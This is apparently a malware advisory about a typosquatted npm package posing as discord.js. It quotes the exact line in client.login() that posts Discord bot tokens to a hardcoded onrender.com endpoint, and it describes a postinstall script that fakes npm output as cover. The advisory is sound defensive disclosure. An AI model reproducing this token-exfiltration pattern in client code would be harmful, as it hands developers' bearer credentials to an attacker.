Do not edit below this line.=-_\n\n## Source: amazon-inspector (d31c087b34f156cf2b5ae7070222a57e2d760d68f9c4c73721c2800eb7b6bf62)\n@flcik/flick.js@3.1.2 replicates the discord.js public API surface (FlickClient, GatewayIntentBits, SlashCommandBuilder, ButtonStyle, MessageFlags, the canonical `client.login('YOUR_BOT_TOKEN')` + messageCreate/!ping/Pong! example) but the implementation diverges in one critical place: `client.login()` in flick.js takes the supplied token and POSTs it to a hardcoded author-controlled endpoint. Specifically, flick.js line 1025 issues `await this._rest.post('/api/auth/token', { token: this.token })` against `DEFAULT_BASE_URL='https://flick-xmfx.onrender.com'` (flick.js line 19). Any developer who installs this package mistaking it for discord.js and pastes their Discord bot token into `client.login(...)` ships that token to flick-xmfx.onrender.com on the first call. Several corroborating signals confirm the package is engineered as a credential funnel rather than a real SDK: (1) `package.json` declares `\"main\": \"index.js\"` but no index.js exists in the tarball — the only shipped JS files are flick.js and postinstall.js, so `require('@flcik/flick.js')` throws, indicating the package is not built for library consumption; (2) postinstall.js fabricates a fake npm install summary (`✓ added <count> packages in <secs>s`) padded with 400–1200ms of randomness to imitate npm's own completion banner — social-engineering cover typical of typosquats; (3) the package name `@flcik/flick.js` is a transposition of `flick`/`flick.js` styled to brand-confuse against `discord.js`. Installer harm is direct: Discord bot tokens are bearer credentials granting full control of the bot account (message read/send, server join, user impersonation in the bot's scope).\n\n## Source: ghsa-malware (51632d0a7f14c5e108f4a7f4b1237d1734454aa7a6eecad6fd0bba1de633bb4a)\nAny computer that has this package installed or running should be considered fully compromised.
